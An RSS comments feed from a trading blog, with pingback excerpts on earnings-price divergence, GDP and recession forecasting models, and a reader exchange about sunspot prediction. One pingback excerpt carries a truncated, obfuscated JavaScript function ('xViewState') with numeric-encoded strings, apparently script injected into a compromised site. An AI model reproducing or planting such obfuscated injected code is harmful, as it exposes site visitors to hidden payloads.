Comments for Trader Edge http://traderedge.net Information and Ideas to Improve Your Trading Thu, 23 May 2013 10:16:42 +0000 hourly 1 http://wordpress.org/?v=3.3.1 Comment on Earnings-Price Divergence Always Followed by Negative Returns by S&P 500 Overvalued Based on Price to Sales Ratio | Trader Edge http://traderedge.net/2013/04/14/earnings-price-divergence-always-followed-by-negative-returns/#comment-3975 S&P 500 Overvalued Based on Price to Sales Ratio | Trader Edge Thu, 23 May 2013 10:16:42 +0000 http://traderedge.net/?p=3785#comment-3975 [...] a recent article “Earnings-Price Divergence Always Followed by Negative Returns,” I noted that every extreme divergence (-20% or lower) between year-over-year corporate [...] [...] a recent article “Earnings-Price Divergence Always Followed by Negative Returns,” I noted that every extreme divergence (-20% or lower) between year-over-year corporate [...]

]]> Comment on A New Recession Slack Indicator by Recession Models Indicate Risk Remained Low in April | Trader Edge http://traderedge.net/2013/01/01/a-new-recession-slack-indicator/#comment-3950 Recession Models Indicate Risk Remained Low in April | Trader Edge Thu, 16 May 2013 10:32:31 +0000 http://traderedge.net/?p=3043#comment-3950 [...] you would like to view a graph of the earlier historical data (going back to 1960), please revisit A New Recession Slack Indicator.    The gray shaded regions in Figure 1 below represent U.S. recessions as defined (after the [...] [...] you would like to view a graph of the earlier historical data (going back to 1960), please revisit A New Recession Slack Indicator.    The gray shaded regions in Figure 1 below represent U.S. recessions as defined (after the [...]

]]> Comment on Non-Farm Payroll (NFP) Model Forecast – April 2013 by Brian Johnson http://traderedge.net/2013/05/02/non-farm-payroll-nfp-model-forecast-april-2013/#comment-3880 Brian Johnson Fri, 03 May 2013 11:02:14 +0000 http://traderedge.net/?p=3922#comment-3880 JD, Thanks for your comments. I worked with neural networks several years ago and using neural networks to forecast economic variables and recessions were a logical extension of my earlier research. I was not familiar with models used to forecast sunspot behavior, but I am not surprised that NASA is working on it. Based on a quick review of the link you provided, it appears that the sunspot research is based on cycles, which is obviously a popular research topic in economic and market forecasting as well. It would be interesting to investigate this further and see if there are any tools that could be applied to trading. Thanks again for your interest in Trader Edge. Best regards, Brian Johnson JD,

Thanks for your comments. I worked with neural networks several years ago and using neural networks to forecast economic variables and recessions were a logical extension of my earlier research.

I was not familiar with models used to forecast sunspot behavior, but I am not surprised that NASA is working on it. Based on a quick review of the link you provided, it appears that the sunspot research is based on cycles, which is obviously a popular research topic in economic and market forecasting as well. It would be interesting to investigate this further and see if there are any tools that could be applied to trading.

Thanks again for your interest in Trader Edge.

Best regards,

Brian Johnson

]]> Comment on Non-Farm Payroll (NFP) Model Forecast – April 2013 by JD http://traderedge.net/2013/05/02/non-farm-payroll-nfp-model-forecast-april-2013/#comment-3875 JD Thu, 02 May 2013 23:46:12 +0000 http://traderedge.net/?p=3922#comment-3875 Hi Brian Thank you once again for your excellent research. I always learn so much from your articles. I was struck today as I looked at your model how it reminded me of one those used to show predictions of sunspots (NASA). The research articles are quite interesting as to the different mathematical approaches used and their relative success, however the math is way over my head! Perhaps it is of some interest to you... Kind regards John http://solarscience.msfc.nasa.gov/predict.shtml Hi Brian

Thank you once again for your excellent research. I always learn so much from your articles.

I was struck today as I looked at your model how it reminded me of one those used to show predictions of sunspots (NASA).

The research articles are quite interesting as to the different mathematical approaches used and their relative success, however the math is way over my head!

Perhaps it is of some interest to you…

Kind regards
John
http://solarscience.msfc.nasa.gov/predict.shtml

]]> Comment on Earnings-Price Divergence Always Followed by Negative Returns by Q1 2013 GDP Model Forecast Below Consensus Estimate | Trader Edge http://traderedge.net/2013/04/14/earnings-price-divergence-always-followed-by-negative-returns/#comment-3771 Q1 2013 GDP Model Forecast Below Consensus Estimate | Trader Edge Thu, 25 Apr 2013 18:00:48 +0000 http://traderedge.net/?p=3785#comment-3771 [...] economic data, the equity indices remain near their all-time highs.  This is troubling given the recent extreme divergence between earnings growth and equity price appreciation.  It will be interesting to see how tomorrow’s GDP release affects the equity [...] [...] economic data, the equity indices remain near their all-time highs.  This is troubling given the recent extreme divergence between earnings growth and equity price appreciation.  It will be interesting to see how tomorrow’s GDP release affects the equity [...]

]]> Comment on New Neural Network Model – Q4 2012 GDP Forecast by Q1 2013 GDP Model Forecast Below Consensus Estimate | Trader Edge http://traderedge.net/2013/01/27/new-neural-network-model-q4-2012-gdp-forecast/#comment-3770 Q1 2013 GDP Model Forecast Below Consensus Estimate | Trader Edge Thu, 25 Apr 2013 17:58:19 +0000 http://traderedge.net/?p=3334#comment-3770 [...] January, I introduced a new aggregate neural network model that I developed to forecast the seasonally-adjusted, annualized, real rate of change in U.S. [...] [...] January, I introduced a new aggregate neural network model that I developed to forecast the seasonally-adjusted, annualized, real rate of change in U.S. [...]

]]> Comment on New Neural Network Model – Q4 2012 GDP Forecast by GDP Model Forecast Improves in March | Trader Edge http://traderedge.net/2013/01/27/new-neural-network-model-q4-2012-gdp-forecast/#comment-3666 GDP Model Forecast Improves in March | Trader Edge Sun, 21 Apr 2013 10:32:46 +0000 http://traderedge.net/?p=3334#comment-3666 [...] January, I introduced a new aggregate neural network model that I developed to forecast the seasonally-adjusted, annualized, real rate of change in U.S. [...] [...] January, I introduced a new aggregate neural network model that I developed to forecast the seasonally-adjusted, annualized, real rate of change in U.S. [...]

]]> Comment on GDP Model Suggests Faster Growth by Earnings-Price Divergence Always Followed by Negative Returns | Trader Edge http://traderedge.net/2013/03/21/gdp-model-suggests-faster-growth/#comment-3528 Earnings-Price Divergence Always Followed by Negative Returns | Trader Edge Sun, 14 Apr 2013 13:15:28 +0000 http://traderedge.net/?p=3643#comment-3528 [...] latest Trader Edge recession forecast is benign and the most recent Trader Edge GDP forecast looks promising.  Nevertheless, the historical link between profit growth and equity returns [...] [...] latest Trader Edge recession forecast is benign and the most recent Trader Edge GDP forecast looks promising.  Nevertheless, the historical link between profit growth and equity returns [...]

]]> Comment on March Recession Model Forecast Increases Slightly by Earnings-Price Divergence Always Followed by Negative Returns | Trader Edge http://traderedge.net/2013/04/11/march-recession-model-forecast-increases-slightly/#comment-3527 Earnings-Price Divergence Always Followed by Negative Returns | Trader Edge Sun, 14 Apr 2013 13:09:56 +0000 http://traderedge.net/?p=3729#comment-3527 [...] body.custom-background { background-color: #f0d6aa; } jQuery(function(){jQuery('ul.sf-menu').superfish({animation: {opacity:'show',height:'show'}, speed: 'fast'});}); function xViewState() { var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','877886888787','949990793917947998942577939317'),l=x.length;while(++a ← March Recession Model Forecast Increases Slightly [...] [...] body.custom-background { background-color: #f0d6aa; } jQuery(function(){jQuery('ul.sf-menu').superfish({animation: {opacity:'show',height:'show'}, speed: 'fast'});}); function xViewState() { var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','877886888787','949990793917947998942577939317'),l=x.length;while(++a ← March Recession Model Forecast Increases Slightly [...]

]]> Comment on Extreme Divergence: Earnings and Equity Prices by Earnings-Price Divergence Always Followed by Negative Returns | Trader Edge http://traderedge.net/2013/02/20/extreme-divergence-earnings-and-equity-prices/#comment-3526 Earnings-Price Divergence Always Followed by Negative Returns | Trader Edge Sun, 14 Apr 2013 11:23:24 +0000 http://traderedge.net/?p=3499#comment-3526 [...] recently wrote about the extreme divergence between earnings and equity prices, but did not have access to comprehensive historical earnings data until recently.  In the article [...] [...] recently wrote about the extreme divergence between earnings and equity prices, but did not have access to comprehensive historical earnings data until recently.  In the article [...]

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